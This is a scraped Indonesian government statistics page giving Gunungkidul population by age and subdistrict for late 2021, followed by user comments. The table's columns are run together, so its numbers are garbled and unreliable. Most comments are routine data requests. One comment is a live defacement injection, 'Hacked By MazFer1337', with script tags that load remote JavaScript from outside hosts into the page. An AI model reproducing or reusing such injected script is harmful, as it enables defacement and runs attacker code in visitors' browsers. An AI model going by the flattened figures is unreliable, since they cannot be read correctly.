Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaWONOSARINGLIPARPLAYENPATUKPALIYANPANGGANGTEPUSSEMANUKARANGMOJOPONJONGRONGKOPSEMINNGAWENGEDANGSARISAPTOSARIGIRISUBOTANJUNGSARIPURWOSARITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun958868 1.826337332 669692593 1.285399339 738394337 731276286 562306295 601620575 1.195509514 1.023550503 1.053301252 553576554 1.130422396 818488443 931441391 832228220 448253267 520237193 4307.987 7.358 15.345
2 tahun577568 1.145223184 407394359 753228213 441202200 402184172 356187181 368359360 719357303 660323330 653147144 291332351 683244227 471272245 517259221 480144130 274165142 307117130 2474.714 4.460 9.174
3 tahun542516 1.058218184 402422390 812248204 452219216 435180152 332187176 363377349 726332331 663308293 601177156 333381350 731246234 480246240 486290226 516159135 294123144 267126114 2404.781 4.410 9.191
4 tahun555501 1.056214193 407382358 740220220 440185183 368172188 360172161 333356336 692295334 629316311 627155155 310353325 678234224 458290236 526247236 483123123 246178130 308130114 2444.577 4.328 8.905
5 tahun579530 1.109218197 415392391 783215205 420188206 394156149 305181186 367389352 741350311 661350322 672163132 295371326 697250209 459280266 546260240 500129103 232174187 361149121 2704.794 4.433 9.227
6 tahun577536 1.113220190 410363409 772254225 479214216 430176160 336191172 363372357 729400365 765334303 637188133 321348352 700237216 453263261 524253232 485109131 240194154 348137127 2644.830 4.539 9.369
7 tahun608570 1.178208215 423405389 794235257 492211213 424186198 384194192 386380350 730403356 759362329 691158154 312409371 780233209 442286259 545283255 538143144 287150155 305128141 2694.982 4.757 9.739
8 tahun603584 1.187220222 442423393 816255242 497216218 434221180 401196171 367391345 736415394 809383317 700149147 296375341 716230238 468267266 533296243 539140116 256199161 360127117 2445.106 4.695 9.801
9 tahun643610 1.253215227 442414407 821264223 487214215 429183168 351222187 409400365 765412388 800366314 680190156 346407351 758243214 457255287 542283247 530116115 231183139 322136146 2825.146 4.759 9.905
10 tahun705631 1.336254225 479434427 861240227 467254198 452212147 359222220 442418381 799439354 793370384 754174171 345374411 785228205 433316289 605274230 504138115 253171212 383154131 2855.377 4.958 10.335
11 tahun679624 1.303273262 535422445 867256251 507228205 433229212 441195206 401432389 821442413 855391396 787175140 315418331 749241262 503318268 586305255 560133151 284179187 366148158 3065.464 5.155 10.619
12 tahun705673 1.378244240 484470431 901255229 484246187 433191190 381207210 417448395 843476387 863406372 778172183 355425385 810273240 513315293 608290260 550149153 302185176 361158133 2915.615 5.137 10.752
13 tahun738680 1.418269245 514449436 885272245 517254212 466218183 401225203 428438388 826441397 838375365 740183169 352434377 811253270 523311274 585264255 519141141 282196187 383126144 2705.587 5.171 10.758
14 tahun717646 1.363227220 447485411 896277252 529212214 426191212 403200176 376400403 803449382 831392380 772180161 341390389 779248232 480336302 638265259 524146148 294192146 338150147 2975.457 5.080 10.537
15 tahun663604 1.267259234 493452435 887244226 470224188 412203184 387222183 405409383 792395383 778418352 770160157 317387393 780275254 529241280 521240230 470138133 271166146 312159125 2845.255 4.890 10.145
16 tahun582582 1.164230225 455431393 824243199 442200184 384220180 400221190 411409388 797425394 819367355 722168141 309393353 746226217 443285233 518253221 474131126 257187165 352132141 2735.103 4.687 9.790
17 tahun594620 1.214231226 457437392 829228214 442229230 459180200 380182188 370389347 736398363 761369329 698168154 322432375 807226226 452274275 549259276 535152123 275184151 335115134 2495.047 4.823 9.870
18 tahun651654 1.305269197 466422413 835272257 529216210 426206214 420203212 415381355 736356352 708386363 749174160 334427393 820232248 480289287 576258260 518154149 303184147 331165153 3185.245 5.024 10.269
19 tahun664627 1.291211221 432443397 840268239 507221258 479208183 391196191 387379380 759423368 791389362 751196169 365396379 775250233 483325287 612289259 548172146 318149154 303143173 3165.322 5.026 10.348
20 tahun720648 1.368225229 454471428 899247259 506230237 467211195 406215233 448418382 800430386 816410409 819208174 382452406 858276254 530296296 592292286 578179165 344189184 373161181 3425.630 5.352 10.982
21 tahun671641 1.312268240 508505458 963239246 485255275 530224218 442243206 449415388 803390405 795443409 852227223 450459447 906309245 554359326 685318308 626174181 355202166 368177167 3445.878 5.549 11.427
22 tahun676646 1.322262241 503450420 870265256 521298256 554204194 398217220 437432426 858423381 804435374 809207195 402509433 942305252 557289300 589356310 666211182 393191182 373172156 3285.902 5.424 11.326
23 tahun633549 1.182232216 448420374 794243223 466245181 426196203 399238206 444396370 766356341 697384383 767153142 295382423 805289264 553292256 548259276 535153160 313186181 367148135 2835.205 4.883 10.088
24 tahun618649 1.267300221 521442417 859246209 455233247 480214203 417241223 464353421 774403357 760399334 733195165 360469394 863267264 531287298 585273285 558183166 349187174 361171150 3215.481 5.177 10.658
25 tahun666613 1.279264238 502458412 870249220 469253212 465199193 392249263 512451382 833400388 788417388 805201175 376476393 869307286 593312276 588297285 582181161 342223189 412140161 3015.743 5.235 10.978
26 tahun676648 1.324272249 521434414 848197237 434258218 476211214 425274256 530448405 853405390 795441392 833200218 418441391 832289268 557325265 590312323 635193173 366203206 409168153 3215.747 5.420 11.167
27 tahun639656 1.295243231 474441417 858225219 444254213 467215197 412270238 508418406 824379357 736428365 793202205 407400389 789291279 570289296 585324295 619156174 330184199 383154135 2895.512 5.271 10.783
28 tahun656641 1.297226212 438460439 899231224 455270236 506230200 430270262 532436402 838356367 723417342 759202208 410407362 769290248 538318295 613362313 675184175 359189196 385165144 3095.669 5.266 10.935
29 tahun646625 1.271229191 420432369 801220218 438277250 527195201 396246232 478440404 844402358 760412366 778215217 432426382 808268247 515284258 542291288 579217158 375194218 412121138 2595.515 5.120 10.635
30 tahun656613 1.269219190 409392416 808238282 520251242 493196178 374239237 476394426 820405377 782360368 728208192 400399379 778256224 480276268 544279295 574190154 344205196 401150133 2835.313 5.170 10.483
31 tahun562594 1.156208203 411409377 786237243 480251227 478205190 395193204 397358388 746349367 716354348 702207209 416392360 752233215 448323274 597320281 601164152 316179185 364120140 2605.064 4.957 10.021
32 tahun536535 1.071192188 380427366 793240213 453223225 448165198 363226198 424400333 733367353 720345325 670184170 354374352 726232226 458292241 533273244 517131128 259171166 337161109 2704.939 4.570 9.509
33 tahun517527 1.044162175 337372409 781218250 468222178 400178169 347209184 393345342 687334332 666295293 588189144 333354349 703236208 444243241 484251241 492143141 284155188 343125118 2434.548 4.489 9.037
34 tahun542545 1.087193202 395372400 772192193 385208182 390212165 377192188 380343378 721302332 634298292 590158159 317333323 656205217 422226229 455267232 499127150 277144169 313128131 2594.442 4.487 8.929
35 tahun536556 1.092170184 354424391 815192197 389199182 381170206 376229187 416402357 759331370 701332308 640175191 366334327 661220197 417253225 478245250 495105170 275180139 319121138 2594.618 4.575 9.193
36 tahun666621 1.287240201 441506421 927226227 453253241 494224204 428277255 532468404 872425349 774389379 768206158 364371363 734237226 463300265 565309256 565160151 311201203 404151132 2835.609 5.056 10.665
37 tahun655686 1.341243243 486502423 925235239 474225236 461203184 387250230 480463444 907398425 823370386 756213195 408401352 753212223 435287273 560288215 503156134 290242218 460144128 2725.487 5.234 10.721
38 tahun685700 1.385219221 440432438 870251248 499288201 489214193 407254232 486389451 840438374 812416358 774190168 358367392 759238210 448272254 526282275 557165171 336228213 441137126 2635.465 5.225 10.690
39 tahun751799 1.550285273 558507462 969258286 544266267 533230222 452261287 548473508 981463409 872438378 816216214 430444396 840260255 515291300 591290315 605169146 315272230 502166132 2986.040 5.879 11.919
40 tahun677730 1.407246226 472451460 911276298 574238209 447189201 390254228 482395446 841391382 773375363 738189177 366384372 756239224 463258264 522270240 510147161 308215222 437133144 2775.327 5.347 10.674
41 tahun672682 1.354235256 491440479 919268284 552238214 452211214 425253274 527473411 884433372 805384371 755201228 429366351 717247206 453325300 625315264 579157167 324253176 429144145 2895.615 5.394 11.009
42 tahun739688 1.427275212 487438485 923235248 483228236 464196172 368268258 526479460 939409404 813380399 779196193 389379380 759263225 488288297 585289262 551193186 379240240 480123145 2685.618 5.490 11.108
43 tahun704659 1.363250250 500438423 861286267 553204214 418205173 378282225 507499438 937419380 799400388 788182199 381425353 778232208 440319265 584223268 491168161 329214205 419129120 2495.579 5.196 10.775
44 tahun666674 1.340262209 471416404 820240234 474198187 385184155 339230235 465395387 782386349 735386362 748165141 306367354 721204204 408244232 476227245 472164158 322186195 381122109 2315.042 4.834 9.876
45 tahun668678 1.346224226 450429395 824275265 540200205 405195178 373299280 579416446 862390410 800362401 763205184 389358385 743200200 400256245 501251276 527178207 385226239 465138124 2625.270 5.344 10.614
46 tahun603709 1.312228235 463461440 901253260 513213242 455201161 362285271 556537527 1.064391380 771405378 783186218 404431428 859228247 475286276 562299307 606167172 339213240 453134120 2545.521 5.611 11.132
47 tahun679666 1.345202224 426418399 817285266 551201183 384170180 350239312 551435426 861395378 773396415 811186186 372364371 735174219 393250257 507283267 550179183 362201216 417148152 3005.205 5.300 10.505
48 tahun614634 1.248196223 419408422 830264270 534226220 446188202 390249298 547428461 889361379 740364416 780207257 464378411 789206206 412261269 530249295 544226251 477248280 528120130 2505.193 5.624 10.817
49 tahun680667 1.347232271 503480451 931260274 534220279 499152219 371343310 653480496 976395396 791443443 886241247 488425507 932255285 540308283 591309339 648210242 452245230 475153165 3185.831 6.104 11.935
50 tahun565642 1.207225235 460376399 775225246 471210198 408161159 320299298 597376379 755349370 719360428 788207240 447349378 727214229 443227224 451246240 486172192 364229240 469128140 2684.918 5.237 10.155
51 tahun683678 1.361229254 483425427 852261265 526209254 463209221 430377351 728451450 901373454 827410441 851278260 538434430 864233275 508285302 587283320 603234245 479241228 469136172 3085.751 6.027 11.778
52 tahun673733 1.406267268 535413508 921266267 533231261 492244217 461339346 685513507 1.020446469 915476453 929278270 548440465 905273324 597314307 621314299 613266279 545272254 526142145 2876.167 6.372 12.539
53 tahun643656 1.299253290 543422441 863258266 524233255 488172210 382288328 616457473 930413428 841398480 878244247 491402448 850264292 556225239 464261276 537231200 431274241 515128130 2585.566 5.900 11.466
54 tahun597604 1.201215236 451394444 838245246 491190205 395188196 384254300 554344375 719344419 763383372 755222250 472328415 743217218 435222238 460209240 449219184 403186195 381119125 2444.876 5.262 10.138
55 tahun508557 1.065218240 458387371 758231244 475178206 384142203 345236236 472351417 768370399 769353390 743203240 443369428 797201220 421192236 428214211 425158202 360166195 361135137 2724.612 5.132 9.744
56 tahun592711 1.303230233 463397497 894232259 491213244 457187252 439241319 560425459 884369439 808390434 824236229 465408482 890260273 533267297 564266345 611182216 398177229 406129167 2965.201 6.085 11.286
57 tahun476491 967199189 388341365 706177194 371168164 332151219 370244253 497336315 651290318 608275329 604182186 368323377 700191178 369170205 375203212 415151183 334159169 328122130 2524.158 4.477 8.635
58 tahun552621 1.173227234 461355397 752228247 475188231 419186210 396278310 588403486 889353419 772382365 747241282 523406457 863225255 480198262 460254240 494216231 447216235 451123146 2695.031 5.628 10.659
59 tahun523564 1.087172199 371367380 747195196 391191237 428173181 354233297 530335406 741308371 679328332 660199212 411346397 743209202 411187217 404212223 435168176 344170181 351116127 2434.432 4.898 9.330
60 tahun462492 954147162 309261309 570153186 339169157 326183184 367214235 449289317 606291314 605264304 568167203 370316315 631180176 356140169 309168159 327155176 331161156 317112122 2343.832 4.136 7.968
61 tahun519559 1.078222235 457377435 812190228 418202240 442239232 471280361 641413543 956331405 736345420 765213279 492385414 799217292 509319341 660263325 588198214 412172273 445174191 3655.059 5.987 11.046
62 tahun481475 956188190 378331403 734200181 381164207 371200211 411222245 467352351 703312328 640300361 661221218 439346313 659214193 407169203 372198244 442186158 344155178 333129141 2704.368 4.600 8.968
63 tahun436573 1.009177184 361310366 676176226 402139196 335191259 450247288 535345399 744308388 696279348 627202245 447316349 665177168 345208215 423184277 461174210 384156216 37297125 2224.122 5.032 9.154
64 tahun359425 784142170 312281364 645156167 323125176 301173205 378244235 479272298 570277323 600253301 554178192 370261312 573151171 322164171 335151224 375125163 288137164 30195153 2483.544 4.214 7.758
65 tahun385414 799173209 382297379 676157173 330163190 353186214 400185201 386296294 590253313 566283317 600178207 385289342 631160210 370175185 360174236 410164177 341160168 328141160 3013.819 4.389 8.208
66 tahun336455 791161195 356323387 710158163 321168226 394180208 388212243 455319337 656240305 545284320 604190213 403315353 668179237 416220240 460236315 551164188 352173185 358134165 2993.992 4.735 8.727
67 tahun361327 688149126 275277302 579149122 271140155 295172171 343160170 330262231 493253246 499225274 499167142 309214243 457157148 305132131 263212205 417147143 290130145 275108135 2433.415 3.416 6.831
68 tahun320347 667135150 285251266 517134137 271149160 309146165 311150168 318259244 503256226 482234249 483160171 331246223 469157151 308142157 299192174 366121120 241132157 28911388 2013.297 3.353 6.650
69 tahun337271 608137132 269227253 480120113 233113137 250121141 262185153 338238249 487205220 425219247 466144135 279217211 428132151 283156105 261172153 325107135 242131117 24894102 1963.055 3.025 6.080
70 tahun317291 608151122 273206200 406117105 222147130 277157140 297204178 382288289 577227232 459285229 514175158 333246206 452148124 272167111 278216148 364148130 278162152 314108110 2183.469 3.055 6.524
71 tahun290338 628127162 289178284 462131158 289140174 314156177 333177247 424241336 577189291 480279363 642163174 337243319 562124163 287200229 429226273 499146144 290163170 33375105 1803.248 4.107 7.355
72 tahun210208 4188693 179149210 3598395 178103116 21993127 220124131 255151190 341151182 333189215 404100102 202134155 2898191 17269104 173125157 2829884 18298114 2126277 1392.106 2.451 4.557
73 tahun251279 530121184 305192256 448109117 226107133 240101172 273148187 335208244 452157243 400231246 477132158 290172190 36297126 223128157 285105134 239110115 225111135 2465796 1532.537 3.172 5.709
74 tahun159220 3797185 156121160 2815780 13778113 19164102 16690146 236130173 303124147 271128188 3168279 161122139 2618194 17565107 17258117 1756778 14586101 1875074 1241.633 2.203 3.836
75 tahun134222 35672104 176105176 2816085 1456098 1587187 158111145 256124188 312104189 293131184 31599128 227132170 3025987 14663109 17255109 1646188 14976111 1874577 1221.562 2.357 3.919
76 tahun160248 40893127 220127225 35284116 200103132 235111119 230142190 332186278 464169247 416226292 51899150 249202230 432100127 227112194 306120177 29785126 21191140 23176108 1842.286 3.226 5.512
77 tahun112138 2504454 9889104 1934952 1014458 1024865 1137596 17199108 20798137 235116131 2475167 11888105 1936678 1444966 1156184 1453862 1003768 1053656 921.200 1.529 2.729
78 tahun150212 3627480 154132183 31555100 1556386 14980106 18692150 242120186 306140209 349123158 28170101 171106160 26660103 1637498 1726089 14958110 16867109 1766457 1211.588 2.297 3.885
79 tahun205217 42282114 196171209 38074107 18184109 1936994 163126149 275183170 353188188 376192211 40385109 194139183 3227988 167113114 22790102 1927794 1717993 1726368 1312.099 2.419 4.518
80 ke atas8031.262 2.065518786 1.3046751.230 1.905371704 1.075422762 1.184336648 984597992 1.5897871.267 2.0548581.321 2.1798811.257 2.138465698 1.1638511.175 2.026415628 1.043529829 1.358486808 1.294368566 934387721 1.108247457 7049.996 16.111 26.107
Jumlah44.34845.13389.48116.84716.96133.80830.52431.40861.93217.26517.66734.93216.34616.79533.14114.66915.23529.90418.17818.88037.05830.07930.67260.75128.18928.87757.06628.05528.45256.50714.92315.13130.05428.84029.01657.85617.58017.65835.23819.94719.97739.92419.92620.24840.17412.66913.07125.74014.53215.03529.56710.41910.88921.308 383.336 391.105 774.441
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih